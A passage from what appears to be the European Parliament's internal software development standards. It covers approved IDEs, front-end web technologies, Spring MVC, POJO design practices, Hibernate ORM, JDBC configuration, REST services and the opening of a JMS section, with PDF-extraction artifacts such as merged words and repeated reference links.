Any use of Eclipse must be done in compliance with all other standards. Therefore, Eclipsemust be configured to use the standard build tools, frameworks, SDKs, and runtimes specifiedelsewhere in the standards.

The Java version to use to run Eclipse does not have to be the same as the one used to compileJava-based projects, so feel free to use the latest available version at disposal if need be.

Jetbrains Webstorm is also available for Web user interface development.

Jetbrains IntelliJ IDEA is also going to be useable starting in late 2019/early2020. It can be used as soon as it’s available as long as compatibility withstandards and build tools is ensured by development teams. The features ofIntelliJ IDEA (supported runtimes, build tools, frameworks and languages)will NOT supersede in anyway the standards of development of the EuropeanParliament.

2.1.6.3. References


Name Reference

Eclipse Project https://www.eclipse.org

Eclipse Project Oomph https://projects.eclipse.org/projects/tools.oomph

Jetbrains Webstorm https://www.jetbrains.com/webstorm/

Jetbrains IntelliJ IDEA https://www.jetbrains.com/idea/


Page 24 of 103

https://www.eclipse.org

https://projects.eclipse.org/projects/tools.oomph

https://www.jetbrains.com/webstorm/

https://www.jetbrains.com/idea/

2.2. PRESENTATION LAYER

2.2.1. Web User Interface

2.2.1.1. Front-end development

2.2.1.1.1. Introduction

In terms of front-end development, only front-end web development is authorized in EuropeanParliament, i.e., using HyperText Markup Language (HTML), Cascading Style Sheets (CSS) andJavaScript (JS) languages for delivering the part of web pages or web applications that a usersees and directly interacts with on desktop or mobile devices web browsers.

Front-end (web) developments have to conform to the following constraints:

• Client-server model, that favours a separation of concerns between the presentation layer(front-end), running on the client (i.e. a web browser) and the layers running on back-endserver (business logic, data persistence, data access). It allows to develop the front-endindependently of the server-side and thus to improve the portability of the client code.Additionally, the server does not need to be aware about client interface or state, and canbe simplified and more scalable.

• Stateless protocol, so that the server should never store contextual information about theclient between requests. The session state resides on the client and each request to theserver has to contain all the necessary information for the called service to understand themeaning of the request, and all session state data should then be returned to the client atthe end of each request. A stateless server improves scalability by allowing the server toquickly free resources and simplifies implementation. Reliability is also improved with theeffects of server failure and recovery that can be almost unnoticeable.

• Web browser compatibility, with ensuring that websites or web applications are fullyworking on standard EP web browsers, specifically for what is deployed and only accessibleover the intranet network and, by extension, on the most common web browsers if thetarget audience is wider (extranet, intranet), no matter what device is used. i

This implies to consider which versions or features of not only HTML, but alsoCSS and JavaScript languages are supported across targeted browsers anddevices, and to take advantage of appropriate tools and techniques to testand fix issues that would occur.

• Security, in order to ensure that protections are implemented against potential securityvulnerabilities and attacks that a website or a web application is exposed. See “OWASPStandards” for more details.

2.2.1.1.2. Core web languages standards

2.2.1.1.2.1. HTML

HTML (HyperText Markup Language) is the markup language used to publish hypertextdocuments on the World Wide Web. It is a non-proprietary format based upon StandardGeneralized Markup Language (SGML) that defines the structure and layout of a Web documentby using a variety of tags and attributes.

In the European Parliament, the standard version to use is HTML 5.

Since different browsers interpret differently the latest features of HTML according to theirsupport of the standard, it is necessary to test if there are no bug, compatibility or renderingissue in each target browser and to ensure all users are receiving the same experience on theweb pages or application.


Page 25 of 103

Additionally, HTML pages must always be validated. This can be done with the help ofautomatic tools available on the Web that can verify if HTML files are in compliance with theW3C recommendations.

2.2.1.1.2.2. CSS

CSS (Cascading Style Sheets) is the language used for describing the rendering of structureddocuments (written in HTML or other markup language). A style sheet consists of a set of ruleswritten according to the syntax defined in the W3C Recommendations that suggests a webbrowser how to style and format a document content — for example, to set the colors, fonts,sizes and spacing of content, split it into multiple columns, or add images, animations andother decorative features. CSS helps to simplify the task of maintaining web sites, separatesformatting information from the structure of a document and provides sophisticated layout anddesign features for web pages.

In the European Parliament, CSS 3 is the standard approved version.

However there is no CSS 3 standard as such: CSS Level 3 builds on level 2 through an ongoingstandardization process, module by module. Each module is an independent part of thelanguage which amends and extends the CSS 2.1 specification and moves towardsstandardization at its own pace. While some modules are already W3C Recommendations,other still are early Working Drafts. New modules are also added when new needs areidentified. Each module being standardized independently, the standard CSS consists of CSS2.1amended and extended by the completed modules, not necessary all with the same levelnumber. At each point of time, a snapshot of the CSS standard can be defined, listing CSS2.1and the mature modules. The most recent snapshot can always be found at this URL.

A list of all completed specifications and drafts by the CSS Working Group is available at thispage.

Even if some part of CSS becomes a standard (i.e., a W3C Recommendation), it only meansthat that part has been correctly implemented in a certain number of implementations. It doesnot mean that all implementations of CSS support it. In consequence, the support for differentproperties and the way they are rendered can substantially vary from one browser to other.

This implies to limit the Style Sheets to CSS modules/properties that are sufficientlysupported by the widest set of different web browsers including standard EP browsers.

As for HTML, it’s essential to validate the Style Sheets with W3C validator tool or using linters(static code analysis tools).

CSS frameworks such as Bootstrap are also useful to help in the creation of the whole layoutand UI in front-end development. They help to utilize responsive HTML structure usingpredefined CSS classes to adapt to various screen sizes; to ensure cross-browser compatibility;to quickly and easily prototype new designs; to add consistency to design and code betweendifferent projects, among other benefits.

2.2.1.1.2.3. JavaScript

JavaScript (JS) is a cross-platform, lightweight interpreted (on the fly) or just-in-timecompiled (JIT) scripting language with first-class functions, which usually runs on the clientside of the web and can be used to implement functionality on web pages and webapplications. It is a multi-paradigm, dynamic language with types and operators, standardbuilt-in objects, and methods. Its syntax is based on the Java and C languages. JavaScriptsupports object-oriented programming with object prototypes, instead of classes, andimperative and functional programming — functions are objects, giving functions the capacityto hold executable code and be passed around like any other object. JavaScript contains astandard library of built-in objects and functions (JSON, Math, Array.prototype methods,Object introspection methods…) and a core set of language elements such as operators,control structures, functions and statements.


Page 26 of 103

Core JavaScript can be extended for a variety of purposes by supplementing it with additionalobjects:

• Client-side browser APIs — built-in interfaces that sit on top of the JavaScript languageand allow to programmatically control a browser and implement functionality more easily:The Document Object Model (DOM) — which allows to dynamically manipulating HTML andCSS content, respond to user events such as mouse clicks, form input, and page navigation,APIs for drawing and manipulating graphics, Audio and Video APIs for collecting andmanipulating multimedia content, etc.

• Third party APIs — from other content providers and platforms allowing developers tomake use of their data or services in their own web pages (e.g. Google Maps, Twitter,Facebook, PayPal, etc.).

• JavaScript libraries — Usually one or more JavaScript files containing custom functions orweb components that can be attached to a web page to speed up or enable writingcommon functionality.

• JavaScript frameworks — The next step up from libraries, JavaScript frameworks (e.g.Angular, Vue.js) tend to install packages of HTML, CSS, JavaScript, and other technologiesand then use them to write an entire web application from scratch.

If JavaScript could also be used as a server-side scripting language in runtimeenvironments, Node.js for example, it’s forbidden in the EuropeanParliament. Only client-side usage is authorized for projects in the EuropeanParliament.

The core language of JavaScript is standardized by the ECMA International standardsorganization as a language named ECMAScript (ES), in the ECMA-262 Language and ECMA-402Internationalization API Specifications. In the real world ECMAScript is usually used to refer tothe standard while JavaScript is used when talking about the language in practice.

The standard for JavaScript in the European Parliament is ECMAScript 6 (e.g.ECMA-262 Edition 6 or most commonly ES6 or ES2015) as all modernbrowsers fully support this version, including standard EP browsers. Seecompatibility chart here.

2.2.1.1.3. Libraries & frameworks standards

2.2.1.1.3.1. Bootstrap

Initially developed at Twitter, Bootstrap is a free and open source front-end web framework forbuilding websites and web applications. It adopts a mobile-first design philosophy bysupporting responsive web design by default, helping a layout transition between desktop,tablets and mobile displays.

Bootstrap is the most popular HTML5 framework and many resources are available on theinternet (articles, tutorials, third-party plug-ins and extensions, theme builders, etc). It bringsa complete set of HTML- and CSS-based UI components along with a structure for scalable andmaintainable stylesheets as well as optional JavaScript extensions, for typography, forms,buttons, navigation and other interface elements.

Bootstrap only requires a basic knowledge and understanding of HTML, CSS and JavaScript, itcan be considered easy to learn to use it.

The standard version supported at the European Parliament is Bootstrap 4.

Bootstrap 4 dropped support of the Glyphicons icon set so the use of othersupported icon libraries (such as Font Awesome) is required.


Page 27 of 103

As mentionned above, for JavaScript components (like modals, tooltips, popovers), Bootstrap 4uses jQuery and Popper.js libraries as dependencies. If a application web application onlyrequires using the CSS part of Bootstrap, there is no need to include these libraries. Because ofthe rapid evolution of web standards and their adoption by the modern browsers, jQuery islosing its relevancy in web development with Bootstrap. Bootstrap 4 styles are increasinglyreliant on common web elements and the upcoming major version of Bootstrap, version 5, willdrop jQuery by replacing it with vanilla JavaScript.

• Whenever possible, use Bootstrap for writing HTML and CSSimplementations.

• For more complex UI elements or web components, avoid jQuery or otherthird-party libraries dependencies and consider preferably the use ofVue.js framework.

Bootstrap can be used directly by dropping the ready-to-use minified version into a project orby using the uncompressed source code and documentation files (requiring additional toolinglike Sass compiler for compiling CSS files) or, if familiar with Node.js-based build tools, byusing npm, the EP standard package manager, for which it’s also required to get additionalcompiling tools. The uncompressed version can be used during development for readability anddebugging matters, and minified version in production for performance purposes.

2.2.1.1.3.2. Vue.js

Vue.js is a progressive framework for building reactive, component-driven user interfaces. Vueis conceived from the ground up to be incrementally adoptable. The core library is designed tobe fast, flexible and lightweight and is only focused on the view layer, it is easy to pick up andintegrate with other libraries like Bootstrap or existing projects. Vue can be dropped into justone part of an existing application that needs a richer, more interactive experience. Vue.js isalso perfectly adapted to a development from scratch of a complete application incombination with core libraries and the community ecosystem.

Vue.js offers declarative rendering and component composition, allowing to split up the UI intoreusable components, each having its own HTML, CSS and JavaScript needed to render thatpiece of this UI and its behavior. It’s even possible to define single-file components (SFC) whichcontain their own HTML, JavaScript, and scoped CSS.

Vue uses an HTML-based template syntax that allows binding the rendered DOM to theunderlying Vue instance’s data. All Vue templates are valid HTML that can be parsed byspecification-compliant browsers and HTML parsers. It also makes development easier andmore intuitive.

Vue provides a convenient CLI to help bootstrap and maintain projects.

The standard for Vue.js in the European Parliament is currently Vue 2.

While Vue.js is considered as easy to learn in comparison to Angular, an intermediate levelknowledge of HTML, CSS, and JavaScript is required.

Vue.js is a progressive (or versatile) framework. This means that it can adapt to growing needsof a development, from simple add-ons to managing the entire view layer. So, if thedevelopment is about to gradually improve or move an existing codebase toward a moremodern web UI architecture, Vue.js is the perfect candidate. In case that the need is to build afull-featured and/or large-scale web application on a solid ground, Angular should preferablybe considered, especially in the way that Angular offers a more complete and integratedsolution, without relying on third-party or community packages.

2.2.1.1.3.3. Angular

Angular is a development framework for creating large scale JavaScript applications usingmodern web standards. It has a component-based architecture which allows programmers to


Page 28 of 103

focus on simply building JavaScript classes. Views and controllers are replaced withcomponents and the whole application can be modeled as a tree of these components. Acomponent controls a patch of screen real estate called a view, and declares reusable UIbuilding blocks for an application.

Angular can be used along with TypeScript, which can be considered as a superset of ES2015(ECMAScript 6) to code complex applications with the OOP methodology and implementsadditional features. TypeScript also includes a feature that transpiles code to older versions ofJavaScript so it can be released into the production environment without compatibility issueswith web browsers needed to support.

• The standard for Angular in the European Parliament is currently Angular8.

• Considering the official releases schedule of Angular with a major releasetwice every year, it is more generally advised to use the latest officialversion of Angular, which will have the most extended active supportfrom official Angular team.

• Keeping an Angular app up-to-date enables to take advantage of newfeatures, as well as performance improvements, optimizations and bugfixes.

• Upgrading the application regularly to the latest version of Angular is alsoa good practice to ensure the maintainability of the application and thusprevent any potential vulnerability.

The quickest way to get started with Angular is to use the Angular CLI command-line tool. Itallows to:

• Scaffold the project and creating a basic application

• Generate components, services, modules, etc.

• Startup a server and serve the app to the browser

• Bundle apps for dev and prod deployments, based on other frameworks (e.g. Webpack)

• Generate boilerplate unit tests and configure test runners

The major versions of Angular core and the CLI are aligned. This means thatin order to use the to develop an Angular app, the version of @angular/coreand @angular/cli need to be the same.

For testing purposes, the following tools can be used:

• Jasmine, for writing unit tests

• Karma as a test runner

• Protractor, to write and run end-to-end (e2e) tests

The browser’s default tool for debugging and profiling Angular applications is Augury forChrome.

A good expertise in JavaScript, HTTP protocols and development, test & build tools based onNode.js environment is required for projects to use Angular.

Angular must be preferred in the case of building client-side rich applications with advancedfeatures that help scale really big applications.

Conversely, Angular can be overkill if it’s about a really simple UI or Simple-Page-Application(SPA) and Bootstrap with/or Vue.js looks like a better choice.


Page 29 of 103

2.2.1.1.3.4. WebSocket

WebSocket is a computer communications protocol, providing full-duplex communicationchannels over a single TCP connection. However, at the EP, due to infrastructure limitations,WebSocket is simulated by using the framework Atmosphere.

Atmosphere framework 2.5.3 is the latest version to use. It requires at leastJDK 8. It also supports JDK 11.

It’s required to have a good knowledge of WebSocket, principes of asynchronousity and long-polling.

2.2.1.1.4. References

2.2.1.1.4.1. Standards/Specifications

Name Reference

Standard GeneralizedMarkup Language (SGML)

https://www.w3.org/TR/html401/intro/sgmltut.html

HTML 5 Specification https://www.w3.org/TR/html5

W3C Recommendations https://www.w3.org/TR/tr-date-stds.html

CSS Working Group https://www.w3.org/Style/CSS/members

CSS Snapshot https://www.w3.org/TR/CSS

CSS Current Work https://www.w3.org/Style/CSS/current-work

ECMA International http://www.ecma-international.org

ECMA-262 LanguageSpecification

http://www.ecma-international.org/publications/standards/Ecma-262.htm

ECMA-402Internationalization APISpecification


TypeScript http://www.typescriptlang.org

ECMAScript 6 features http://es6-features.org

2.2.1.1.4.2. Web sites

Name Reference

HTML Validation Tools https://validator.w3.org/https://html5test.com/https://www.totalvalidator.com/

CSS Browser Compatibility http://www.quirksmode.org/css/contents.html

CSS Validation Tool http://jigsaw.w3.org/css-validator/

ECMAScript 6Compatibility Table

http://kangax.github.io/compat-table/es6/

Bootstrap http://getbootstrap.com

Font Awesome https://fontawesome.com

jQuery http://jquery.com

Popper.js https://popper.js.org


Page 30 of 103

https://www.w3.org/TR/html401/intro/sgmltut.html

https://www.w3.org/TR/html5

https://www.w3.org/TR/tr-date-stds.html

https://www.w3.org/Style/CSS/members

https://www.w3.org/TR/CSS

https://www.w3.org/Style/CSS/current-work

http://www.ecma-international.org





http://www.typescriptlang.org

http://es6-features.org

https://validator.w3.org/

https://html5test.com/

https://www.totalvalidator.com/

http://www.quirksmode.org/css/contents.html

http://jigsaw.w3.org/css-validator/

http://kangax.github.io/compat-table/es6/

http://getbootstrap.com

https://fontawesome.com

http://jquery.com

https://popper.js.org

Name Reference

Vue.js https://vuejs.org

Single File Components https://vuejs.org/v2/guide/single-file-components.html

Flux hhttps://facebook.github.io/flux/

Redux https://redux.js.org/

Vue CLI https://cli.vuejs.org/

Angular https://angular.io

Angular Versioning andReleases

https://angular.io/guide/releases

Webpack module bundler https://webpack.github.io

Jasmine Behavior-DrivenDevelopment Framework

https://jasmine.github.io

Karma Test Runner https://karma-runner.github.io

Protractor End To EndTesting Framework

http://www.protractortest.org

Angular Augury https://augury.angular.io

Angular CLI https://github.com/angular/angular-cli

Atmosphere https://github.com/Atmosphere/atmosphere/wiki


Page 31 of 103

https://vuejs.org

https://vuejs.org/v2/guide/single-file-components.html

https://facebook.github.io/flux/

https://redux.js.org/

https://cli.vuejs.org/

https://angular.io

https://angular.io/guide/releases

https://webpack.github.io


https://karma-runner.github.io

http://www.protractortest.org

https://augury.angular.io

https://github.com/angular/angular-cli

https://github.com/Atmosphere/atmosphere/wiki

2.2.2. Server-side APIs


The Spring Web model-view-controller (MVC) framework is an implementation of Model 2 MVC.

Model 2 means the sole and only responsibility for the view templates is to render the outputfor the content provided. Spring MVC uses a DispatcherServlet as front controller.

It contains very specialized objects (Controller, Model, View) and it is very flexible in the wayyou can handle HTTP requests.

It is very easily integrated with other UI frameworks and it provides a very flexible URLmapping mechanism.

Convenient defaults are available, following the principle of convention over configuration andannotations can be used in order to turn any POJO into a valid Controller.

2.2.2.2. Standards

2.2.2.2.1. Target

Spring Web MVC 5+ is the default target for applications developped for theEuropean Parliament.

2.2.2.2.2. Scope

Spring Web MVC is the main standard and supported client framework on the server-side.Previous versions are already in use in many projects of the European Parliament.

Focus must be kept on simplicity and readability of the code and Spring MVC is easy tointegrate, test and maintain.


Page 32 of 103

2.2.2.3. References


Name Reference

Spring by Pivotal https://spring.io/

Spring MVC https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html#mvc


Page 33 of 103

https://spring.io/

https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html#mvc

https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html#mvc

2.3. BUSINESS LAYER

2.3.1. POJO-based business layer


2.3.1.1.1. Definition of POJOs

POJO is an acronym for Plain Old Java Object: this acronym is used to describe objectscontaining or inheriting as little technical wiring code as possible.

The concept of POJO relates to simple Java objects that form the domain and processesneeded in an application. This concept was brought up in 2000 by Rebecca Parsons, JoshMacKenzie and Martin Fowler. At that time, EJBs were the new hype, and these fine peoplewere preparing a talk pointing out the many benefits of encoding business logic into regularjava objects rather than using Entity Beans.

Note that POJOs are not necessarily JavaBeans. Indeed, JavaBeans are in fact POJOs with somespecific restrictions defined by the Java Beans specification.

For need of a comparison, neither Servlets nor MVC Controllers are POJOs.

2.3.1.1.2. Benefits of POJOs

The main benefits of using POJOs for your business code are:

• Stability of the code (independent from the framework-specific code)

• Readability of the code (code is closer to the use-case it implements)

• Testability of the code (business code can be easily unit-tested)

• POJOs are simple and easy to generate from a UML Model

• POJOs are easy to unit-test (real unit tests, not integration tests)

• POJOs can be easily refactored

• POJOs are readable

When you’re modelling your domain with POJOs, refactoring is a lot easier, and you canleverage the complete set of tools of the Java language (polymorphism, use of interfaces…etc).

Therefore there is almost no limit (at least none put by a framework) in the way you modelyour business concepts.

Moreover, code can easily be taken over by other teams for functional maintenance.

2.3.1.2. Standards

2.3.1.2.1. Scope

European Parliament supports using Plain Old Java Objects (POJOs) for implementingapplications business layer.

This standard is immutable, whatever framework is used for software development.

Furthermore, European Parliament promotes the usage of Spring Framework’s implementationof the Inversion of Control (IoC) to manage the business-layer objects, and the dependenciesbetween them.


Page 34 of 103

https://www.oracle.com/technetwork/java/javase/documentation/spec-136004.html

2.3.1.2.2. Inversion of Control and Dependency Injection

The basic principle behind Dependency Injection (DI) is that objects define their dependencies(that is to say the other objects they work with) only through XML-based configurationmetadata.

Then, it is the job of the container to actually inject those dependencies when it creates thebean1. This is fundamentally the inverse, hence the name Inversion of Control (IoC), of thebean itself being in control of instantiating or locating its dependencies on its own using directconstruction of classes.

Code gets cleaner when the DI principle is applied, and reaching a higher grade of decouplingis much easier when objects do not look up their dependencies, but are provided with them(and additionally do not even know where the dependencies are located and of what concreteclass they are).

The standard framework for Inversion of Control is Spring framework.

1 Objects instantiated, assembled and otherwise managed by a Spring IoC container areusually called beans. Other than that, there is nothing special about a bean; it is in all otherrespects one of probably many objects in your application.

2.3.1.2.3. Best practices of POJO development

2.3.1.2.3.1. Leave no business concept behind

Whenever you start coding to POJOs, do it plainly.

This means that you have to consider that your application is made of two parts:

• The business POJOs

• The rest

Keep in mind that objects are your target.

2.3.1.2.3.2. Prefer Objects to primitive types

Whenever you have methods passing parameters, try to aggregate these parameters intomeaningful classes and pass instances of these classes.

For example:

public float doBusinessActivity(String name, int increment, float computableValue){...}

While this example method seems to have no specific flaw, it usually needs javadoc to explainthe nature and use of the parameters and returned value.

Prefer the creation of classes describing the parameters and return types.

This allows a clarification and to introduce better semantics even before writingdocumentation.

For example:


Page 35 of 103

public ComputedActivity doBusinessActivity(UserActivityInput input){...}

Where ComputedActivity and UserActivityInput are POJOs that can be defined as follows:

public class ComputedActivity{ private float value; // getters and setters...}

public class UserActivityInput{ private String name; private int increment; private float computableValue; // getters and setters...}

This allows a clarification and introduces better semantics even before writing documentation.

This has multiple advantages:

• Code is inherently more human-readable

• You can refactor this method later in order to support returning multiple values, just byadding an attribute to the returned object

• You can define validation at the level of the Object and make it portable

You will find that defining these objects often helps you to find possible issues or flaws in thesystem.

2.3.1.2.3.3. Use Generics Collections

Since Java 5.0, Generics were available. They allow for a more expressive use of Collections.

For example:

public List doMultipleBusinessActivities(UserActivityInput input){...}

In this example, the outcome of the method is not inherently clear.

Prefer this:


Page 36 of 103

public List<ComputedActivity> doMultipleBusinessActivities(UserActivityInput input){...}

This will avoid runtime cast errors, and also makes code a lot simpler and clearer.

2.3.1.2.3.4. Consider custom annotations

When you want to express an abstract concept or anything that has a functional meaning but isnot to be implemented, don’t hesitate using custom annotations. For example:

@ForManagersEyesOnlypublic class EmployeesSalaryReport{...}

This way you don’t have to deal at first with data security, but can implement it later on in across-cutting fashion using Aspect Oriented Programming for example.

Furthermore, your business domain is now richer, and people who come to maintain yourapplication will easily understand that this kind of object has to be handled the appropriateway.

2.3.1.2.3.5. Don’t overuse patterns

In POJO development, only very basic patterns are needed.

Most patterns (like factories, singletons…etc) are needed for the various frameworks that willuse, expose or persist your business POJOs, not for implementation of the businessspecifications.

Most certifications or trainings on J2EE will teach you how to implement patterns asworkarounds to technical problems and not teach you how to make a clean and simple objectdesign.

This of course does not mean that these patterns are never needed, but you’ll often see thatthey are not necessary to implement the business.

2.3.1.2.3.6. Classify your POJOs

You’ll end up coding 2 main types of POJOs for the business layer:

• Entities

• Processes

Entities are the parts of the system that should vary less.

For example, in a flight booking system, invariants are passengers, planes, airports. Theseconcepts are quite stable even if they can be modified to add new details. They can be used todefine the semantics of the system.

Usually entities are coded as Value Objects.

Processes should vary more with time and often match business activities.


Page 37 of 103

To simplify, processes use invariants for an activity.

For example, in a flight booking system, the calculation of the price will change in time, andwill take in account the plane, passengers and airport concepts.

Usually processes are coded as Service (or Manager) Objects.

Repositories (historically Data Access Objects) are voluntarily kept out of this classification,because persistence of your domain objects is really a technical issue that can change overtime, and also depends a lot on the framework.

The rest of the code is usually for:

• Remoting (synchronous or asynchronous)

• Low level access control

• Presentation

• Transformation

• Validation

• …

To summarize, the rest of the code deals with important things, yet technical things that willvary depending on the type of client, the security policy, the environment where theapplication will be deployed, etc.

The rest of the code can also be coded as POJOs, but should not be referenced by yourbusiness POJOs in order to separate technical concerns from business concerns.

2.3.1.2.3.7. Transferring POJO state

In order to use POJOs properly, it is sometimes required to copy values between differentscopes (internal view of a system vs. external view of the system for example).

The standard object-to-object mapping framework is MapStruct.

Though it must be used in dedicated helpers and not directly in the business code.


Page 38 of 103

2.4. PERSISTENCE LAYER

2.4.1. ORM (Object-relational mapping)


European Parliament supports the use of Object-Relational Mapping (ORM) instead of directJDBC usage.

For the implementation of ORM, the only validated implementation isHibernate ORM.

As this document tries to sum it up, Hibernate can whether be used stand-alone or as a JPAimplementation.

Currently European Parliament supports using it as a JPA implementation and, wheneverpossible, in association with Spring Data JPA.

2.4.1.2. Global ORM (Object-Relational Mapping) Standards

2.4.1.2.1. Database is a private Data store

Consider your application’s database as a private data-store.

This data-store is only a persisted version of your Object Model.

2.4.1.2.2. Your data is your Object Model

If other applications need to have access to the same data, the use of Services must bepreferred, and direct access to your data-store (which must be accessible to your applicationonly) must be prevented.

2.4.1.2.3. Objects should not be mapped to tables

One of the advantages of using an Object-Relational mapping framework is the ability toelaborate possibly complicated mappings between your Object Model and an existing database.

But keep in mind that the model you will have to maintain is now the Object Model. This is themodel that contains the functional added value.

Of course, if your Object Model is brand new, it is easier to generate a data-store model whichwill obviously be closely related to the object model.

Object Model must evolve hand-in-hand with its data-store, but doesn’t haveto be a carbon copy of it.

2.4.1.2.4. Use ORM where it’s best fitted

Object-Relational Mapping fills object structures with data retrieved from a data-store andthen can persist changes to the data-store after an update.

There are, though, some scenarios where you can encounter limitations to the ORM approach:

• The existing database is itself inappropriately designed and mapping it would result inmore development effort, a huge maintenance headache and poorer performances than ano-mapping solution would require

• Heavy usage of database facilities that yield performance gains


Page 39 of 103

• The Java team can’t modify the existing schema to improve the mapping

2.4.1.2.5. Validate input and output

This is a general security-related topic. Whenever you interact with a source of data outsidethe scope of your java application (like your database for example):

• Always validate what you insert in the database and try to avoid building requests on thefly. This can for example avoid SQL injection, but also disallows setting values that are outof the scope.

• Always validate what the application returns. It is a common error to state that whatcomes from the database is 100% secure and bug-free. If you extract something from adatabase (a String for example) without validation and use it directly in a webapplication’s javascript UI, anybody having access to the database can cause very plausiblethreats.

The standard approach to deal with validation is to use Hibernate Validator(http://validator.hibernate.org/). See the associated “Bean Validation”standards.

Annotations are a very convenient and elegant way to specify constraints for a domain model.Hibernate Validator lets you express your domain constraints once (and only once) and ensuretheir compliance at various level of your system automatically. You can use Hibernate Validatorwith any Java Persistence provider, not only Hibernate. The validation mechanism can beexecuted in different layers in your application without having to duplicate any of these rules.

2.4.1.2.6. Domain model

The domain model implementation is such an important piece of code that it must not dependon other Java APIs. You must not put code that addresses these cross-cutting concerns in theclasses that implement the domain model. When these concerns start to appear in the domainmodel classes, we call this an example of leakage of concerns.

In a system with transparent persistence, objects aren’t aware of the underlying data store,they need not even to be aware that they are being persisted or retrieved. Persistenceconcerns are externalized to a generic persistence manager interface - in the case ofHibernate the Session and Query, in JPA the EntityManager and Query. Persistent classes maybe reused outside the context of persistence, in unit tests or in the user interface tier, forexample.

2.4.1.3. References


• JSR 317: Java Persistence 2.0


Name Reference

Hibernate project https://hibernate.org/

Spring Data JPA https://projects.spring.io/spring-data-jpa


Page 40 of 103

http://validator.hibernate.org/

https://hibernate.org/

https://projects.spring.io/spring-data-jpa/

2.4.2. JDBC (Java Database Connectivity)


• European Parliament supports the use of Object/Relational Mapping (ORM) (see relateddocument) instead of direct JDBC access. This is a global standard that can be temperedwith for very specific needs.

• The current document focus on the configuration of the JDBC connection and not on itsusage.

2.4.2.2. Standards

2.4.2.2.1. JDBC driver type

European Parliament supports using type 4 JDBC drivers, also known as the Direct to DatabasePure Java Driver. This is a database driver implementation that converts JDBC calls directlyinto a vendor-specific database protocol. Written completely in Java, type 4 drivers are thusplatform independent.

Typical JDBC type 4 drivers are:

• Oracle "thin" driver

• PostgresSQL JDBC driver

2.4.2.2.2. Datasource usage and configuration

European Parliament supports using JDBC datasources defined in the JNDI (Java Naming andDirectory Interface) context of the application server.

Therefore the datasource can be configured and tuned independently from the applicationarchive.


Page 41 of 103

2.5. INTEGRATION/REMOTING

2.5.1. REST web services


REST stand up for Representational State Transfer coined by Roy Thomas Fielding inArchitectural Styles and the Design of Network-based Software Architectures in 2000.

REST describes a network-based architecture that allows the Web to grow. REST is anarchitecture with the following characteristics:

• Client-Server

• Stateless

• Able to use cache

• Layered

• Presenting a uniform interface.

It’s difficult to have an application that follows completely the REST architectural style.Leonard Richardson developed a maturity model that explicitly measures the adherence toREST rules.

A blog post on the REST Richardson Maturity Model by Martin Fowler explains the differentLevels very clearly.

2.5.1.2. Standards

2.5.1.2.1. Scope

The European Parliament supports achieving Level 2 of this maturity model for applicationdeveloped for the EP. This imply that the server and the client respect REST constraints andthe HTTP protocol: Correct response status code, content negotiation, Caching directive inheaders, idempotency for GET and PUT request, a GET request shouldn’t modify server state,state must be managed by the client or persisted server side explicitly…

Two frameworks can be used to develop REST services: Apache CXF RESTframework and Spring REST stack based on Spring MVC.

2.5.1.2.2. Spring REST Support

Spring offers support for server-side REST services based on Spring MVC, and on the client-side,Spring REST template. Spring REST is standard for server side

• when you are already using Spring MVC for your application, Spring REST is supported forclient side

• when you need to consume some REST resources and you are not already using Apache CXF

Spring REST support gives you a lot of flexibility. Be aware that you SHOULDrespect REST architectural constraints!

2.5.1.2.3. Apache CXF

CXF is the chosen JAX-RS implementation at the European Parliament. Here are the mainreasons:

• CXF concentrates on developer ergonomics and embeddability:


Page 42 of 103



◦ CXF is very intuitive, simple to use and functional

◦ CXF is not invasive - you only have to embed the CXF jars in your web applications

• CXF was written with Spring in mind. CXF supports the Spring XML syntax, making it easy todeclare endpoints which are backed by Spring and inject clients into your application

• CXF Web Services are deployed within web applications and support the followingdeployment models:

◦ Support for deploying into Servlet Container (Tomcat)

◦ Support for deploying into Any JVM

CXF is much more than a simple JAX-RS implementation and provides alsoadvanced integration features (mediation, service routing…). CXF issupported only for its JAX-RS implementation.

2.5.1.2.4. Best Practice

You can find hereafter some general standards on REST Web Services development:

• Regarding data binding tips

◦ Use regular Java classes as data types

◦ Follow JavaBeans™ based property pattern:

▪ public String getName() { ... }

▪ public void setName(String name) { ... }

◦ Use collections and generics

Both server and client should implement HTTP caching (Cache-Control, ETag, …) to allowbetter system performance.

2.5.1.3. References


JAX-RS is the JSR implemented by Apache CXF REST.


Name Reference

Roy Fielding thesis http://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm

Richardson Maturity modelpresented by Martin Fowler



Page 43 of 103

http://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm














2.5.2. JMS


2.5.2.1.1. Messaging

Messaging is a method of communication between software components or applications. Amessaging system is a peer-to-peer facility: A messaging client can send messages to, andreceive messages from, any other client. Each client connects to a messaging agent thatprovides facilities for creating, sending, receiving, and reading messages.

Messaging enables distributed communication that is loosely coupled. A component sends amessage to a destination, and the recipient can retrieve the message from the destination.What makes the communication loosely coupled is that the destination is all that the senderand receiver have in common. The sender and the receiver do not have to be available at thesame time in order to communicate. In fact, the sender does not need to know anything aboutthe receiver; nor does the receiver need to know anything about the sender. The sender andthe receiver need to know only which message format and which destination to use. In thisrespect, messaging differs from tightly coupled technologies, such as Remote MethodInvocation (RMI), which require an application to know a remote application’s methods.

Messaging also differs from electronic mail (email), which is a method of communicationbetween people or between software applications and people. Messaging is used forcommunication between software applications or software components.

Messages, as described here, are asynchronous requests, reports or events that are consumedby programs, not humans. They contain vital information needed to coordinate these systems.They contain precisely formatted data that describe specific business actions. Through theexchange of these messages each application tracks the progress of the enterprise.

2.5.2.1.2. JMS API

The Java Message Service (JMS) is a Java Message Oriented Middleware (MOM) API thatsupports Messaging and allows applications to create, send, receive, and read messages. Thisenables asynchronous communication for Java applications and can easily replace any softwarethat relies on polling remote resources.

JMS provides a common way for both Java client applications and Java middle-tier services touse these messaging products. It defines a common set of interfaces and associated semanticsthat allow programs written in Java to communicate with other messaging implementations.

The JMS API minimizes the set of concepts a programmer must learn in order to use messagingproducts but provides enough features to support sophisticated messaging applications. It alsostrives to maximize the portability of JMS applications across JMS providers.

JMS enables communication that is not only loosely coupled but also:

• Asynchronous: A receiving client does not have to receive messages at the same time thesending client sends them. The sending client can send them and go on to other tasks; thereceiving client can receive them much later.

• Reliable: A messaging provider that implements the JMS API can ensure that a message isdelivered once and only once. Lower levels of reliability are available for applications thatcan afford to miss messages or to receive duplicate messages.

2.5.2.2. Standards

2.5.2.2.1. Scope


Page 44 of 103

